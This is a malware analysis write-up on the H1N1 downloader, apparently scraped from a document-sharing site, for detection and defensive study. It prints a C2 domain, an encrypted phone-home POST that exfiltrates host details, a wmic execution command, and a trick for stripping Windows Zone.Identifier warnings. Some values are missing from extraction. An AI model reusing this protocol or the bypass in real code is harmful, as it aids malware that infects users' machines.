Art

Flu season starting early: the H1N1 Loader

Description
Flu season starting early: the H1N1 Loader The H1N1 Loader appears to be a relatively new downloader family that to our knowledge was initially discovered and analyzed in May 2015 [1, 2]. We have seen
Categories
Published
of 5
All materials on our website are shared by users. If you have any questions about copyright issues, please report us to resolve them. We are always happy to assist you.
Related Documents
Share
Transcript
Flu season starting early: the H1N1 Loader The H1N1 Loader appears to be a relatively new downloader family that to our knowledge was initially discovered and analyzed in May 2015 [1, 2]. We have seen several show up in our malware zoo this Spring and are documenting our preliminary findings. Representative Sample The H1N1 sample we have explored most deeply is as follows: MD5: a59bbc730c7c2ea84fb ebe SHA256: 903d299b366ef1ba dd57811aff80b8b b872a098639a8effa Size: 99,840 bytes Compilation Date: April 27, 17:34:10 VirusTotal Detection: 41 / 57 VirusTotal Analysis Date: May 21, 10:32:04 UTC The functionality of this sample appears to be focused on downloading, dropping, and executing other malware binaries. Internet Connectivity Check Prior to actually trying to contact its command & control (CnC) server, H1N1 will first attempt to determine whether or not it has Internet connectivity at all. It performs this check by using the wininet.dll APIs to send an HTTP request to a URL of the following format: The value of the installer GET parameter is randomized by choosing a decimal number between and 60000, and formatting it as a 32-bit hex value. For example: The malcode does not make any effort to actually read, much less parse, any response from the adobe.com server; it simply tests whether the sending of the request succeeds. If the call to HttpSendRequest() returns TRUE, then the malcode will proceed to the next step of contacting its CnC server. On the other hand, if sending of the adobe.com HTTP request fails, the H1N1 bot will Sleep() for 30 minutes and try again (using a different randomly chosen installer value). String Obfuscation Prior to phoning home, H1N1 must de-obfuscate some of its sensitive strings. For example, the URL of this sample's CnC server is but one typically won't find pieces of this string, much less the URL in its entirety, within an H1N1 memdump. Instead, the malware constructs the CnC server name (fastnode.info) and relative URI path (rel/gate.php) on the fly just before phoning home. It performs this construction four bytes at a time by performing a sequence of arithmetic operations on the EAX register and writing the intermediate values of EAX to a memory buffer (see Figure 1.) Figure 1. Construction of CnC name fast-node.info Likewise, Figure 2 shows similar construction of the rel/gate.php URI path: Figure 2. Construction of CnC URI path rel/gate.php Finally, the key string used by H1N1 for encrypting its communications is also constructed using the same method (see Figure 3): Command & Control Communications Figure 3. Construction of crypto key Once the malware has constructed the strings needed to connect to its CnC server, it will use the wininet.dll APIs to established a connection to its CnC, using the infected host's default User-Agent string as queried via ObtainUserAgentString(). It will then formulate a phone home message using the following format string as a template: guid=%.8x%.8x&os=%d&bits=%d&pl=%d The first two 8-bit hexadecimal components are generated based on the serial number GUID of the infected host's hard drive. The GetVolumeInformationA() API is called to obtain the volume serial number for the system hard drive of the infected host. This 32-bit serial number is then XOR'd against the constant 0x0BADC0DE to yield a second 32-bit value. These two 32-bit DWORDs (the actual serial number and the XOR'd transformation of it) are concatenated to produce the 16- bit value for the guid variable. The value of the os variable will be a decimal integer chosen by calling the GetVersionEx() API and then consulting the following table: H1N1 os variable value Windows Version Version Number 1 Windows Windows XP Windows Windows Vista Windows Windows Windows Windows The bits field is simple enough: it will be set to decimal 32 or 64, depending on whether the malware detects the infected host as a 32-bit or 64-bit operating system. The last field, pl, is used to specify the privilege level at which the H1N1 malware is running on the infected host. The bot will use the AllocateAndInitializeSid() and CheckTokenMembership() APIs to determine whether it is running with administrative privileges. If so, the value of the pl field will be 1; otherwise, it will be 0. An example phone home string generated from an H1N1 sample running with administrative privileges on a 32-bit Windows XP instance is: guid=902b446e9b8684b0&os=2&bits=32&pl=1 Encryption Once the malware has formulated the above phone home message, it applies standard RC4 encryption with the key string (recall from above that this key string is stored in obfuscated form), followed by a slightly customized base64 encoding process. The only customizations to standard base64 used by H1N1 is to replace the plus (+) character with underscore (_), and the dash character (-) with backslash (\). This process transforms the above message into the following actual transmission: aqukibgqoiqiyeyg4fkqjt8jsgspbnclqxkl2buxk7bs0q== Phone Home Request This enrypted and encoded string is then POSTed to the CnC using the wininet.dll APIs. The following set of custom HTTP request headers are added via the HttpAddRequestHeadersA() API call: Accept: */* accept-encoding: none accept-language: en-us.q=0.8 Content-Type: application/x-www-form-urlencoded Note the non-canonical capitalization of the accept-encoding and accept-language headers, as well as the unusual value of the accept-language header field. A search of our corpus of legitimate HTTP requests indicates that the combination of these two customized HTTP request headers would yield a very precise and reliable signature for H1N1 phone home transmissions. Putting everything together produces something similar to the following payload observable on the wire: POST /rel/gate.php HTTP/1.1 Accept: */* accept-encoding: none accept-language: en-us.q=0.8 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C;.NET4.0E; InfoPath.3;.NET CLR ) Host: fast-node.info Content-Length: 48 Connection: Keep-Alive Cache-Control: no-cache aqukibgqoiqiyeyg4fkqjt8jsgspbnclqxkl2buxk7bs0q== CnC Response: After sending its encrypted phone home request to its CnC, H1N1 will call the InternetReadFile() API to receive the CnC response. Prior to parsing this raw response, the bot will use the HttpQueryInfoA() API with the HTTP_QUERY_RAW_HEADERS_CRLF option (0x16) to obtain access to the complete set of HTTP response headers sent by the CnC. It looks for the following custom, non-standard HTTP response header: RC4-Size: This response header is expected to contain a decimal value specifying the size, in bytes, of the CnC's response payload data. The format of the CnC response data is very similar to that used by the bot's phone home request; i.e., the substantive CnC command(s) are encrypted with RC4 and then base64 encoded. The RC4 key used to encrypt the CnC response is identical to that used by the bot in its phone home request (i.e., for this sample). After base64 decoding and RC4 decrypting the CnC response, the H1N1 bot will parse the plaintext CnC response to extract zero or more commands. H1N1 supports only the following two commands: FILE and LINK. A CnC response may contain multiple FILE and/or LINK commands delimited by the pipe ( ) character. Command FILE: Upon receipt of a FILE command, H1N1 will drop a specified file onto the infected client. The actual content of the file to be dropped is base64-encoded and embedded within the CnC response itself. The H1N1 bot will generate a random filename comprised of between 6 and 11 lower-case characters followed by the.exe file extension. The infected host will be queried via SHGetSpecialFolderPathW() using the CSIDL_TEMPLATES flag to determine the folder that serves as a common repository for document templates (typically, C:\Documents and Settings\ $USERNAME\Templates). Recall that H1N1 obtains its drop files via the WinInet library, and according to Microsoft's documentation, this library includes automatic integration with Internet Explorer security zones [3, 4]. So when it is time to launch an H1N1-dropped binary, Windows will typically raise a dialog box reminding the user that the file was downloaded from the Internet and asking whether the binary should be trusted. The mechanism by which Windows remembers whether a particular file was downloaded via Internet Explorer and/or WinInet is via an Alternate Data Stream (ADS) associated with the downloaded file; the identifier for this stream is constructed by appending :Zone.Identifier to the path of the downloaded file. In order to defeat this protection mechanism, H1N1 will go to the additional effort of deleting the :Zone.Identifier stream for each file is drops. It does this by simply appending the wide-character version of the string :Zone.Identifier to the randomly generated path of the dropped file, and invoking the DeleteFileW() API. It is somewhat interesting to note that H1N1 feels the need to obfuscate even the literal :Zone.Identifier string using the EAX SUB/XOR/ADD mechanism described above. Once the file content has been dropped (and cleansed of any I.E. security zone state), H1N1 will parse its PE header to check the Characteristics field of its NT_HEADER for the existence of the IMAGE_FILE_DLL flag: Figure 4. Detection of DLL vs. EXE droppee If the dropped file is a regular EXE, then H1N1 will execute it by invoking the CreateProcessW() API with the following lpcommandline argument to invoke the Windows Management Instrumentation (WMI) command-line: wmic process call create $PATH_TO_DROPPED_EXE On the other hand, if the dropped file is a DLL, then H1N1 will do quite a bit more work. It spawns a thread that first creates an unnamed memory mapped file. It then more-or-less performs the functions of a mini-loader, including parsing the section table of the dropped DLL's PE header and copying the contents of each section into the memory mapped file; locating and parsing the PE header's Relocation Directory and invoking the undocumented LdrProcessRelocationBlock() API call on each entry therein; locating the Import Directory and calling LoadLibrary() and GetProcAddress() to build an Import Address Table (IAT); and calling VirtualProtect() as needed to set the correct permissions on each block of memory as specified in the DLL's section table. Once it has completed all this work, execution jumps to the address specified in the AddressOfEntryPoint field of the DLL's NT_HEADER. The spawned thread will remain in existence until the DLL's entry point function returns, at which time the resources associated with the memory mapped file will be released. Command LINK: In the case of the LINK command, the H1N1 loader will not receive the dropped file contents embedded directly in the CnC response, but instead will be given URL whence the dropped file is to be fetched. The bot will make a WinInet-based HTTP request to the specified URL and download the droppee binary. It will then perform the same procedure as described above in the FILE command. It appears that the H1N1 malcode has a minor bug in that its URL handling code clearly supports the parsing of URLs of the form https://site, but yet will always attempt to connect to port 80 regardless of whether the URLs are HTTP or HTTPS. Status Report: Once H1N1 has completed the execution of each of its commands, it will send a status report back to its CnC using the same mechanism as used in its initial phone home contact, except that the format of its POSTed data payload will be as follows: guid=%.8x%.8x&report=%s The two 32-bit guid values will be the same as in the initial phone home; the report variable is constructed by contatenating a pipe ( ) delimited sequence of status messages, one for each FILE and/or LINK command, that include codes indicating whether or not the droppee was successfully obtained, and whether or not the dropped was successfully executed. References: [1] [2] https://damagelab.org/index.php?showtopic=25839 (Russian) [3] https://msdn.microsoft.com/enus/library/windows/desktop/hh227298%28v=vs.85%29.aspx [4]
Search
Related Search
We Need Your Support
Thank you for visiting our website and your interest in our free products and services. We are nonprofit website to share and download documents. To the running of this website, we need your help to support us.

Thanks to everyone for your continued support.

No, Thanks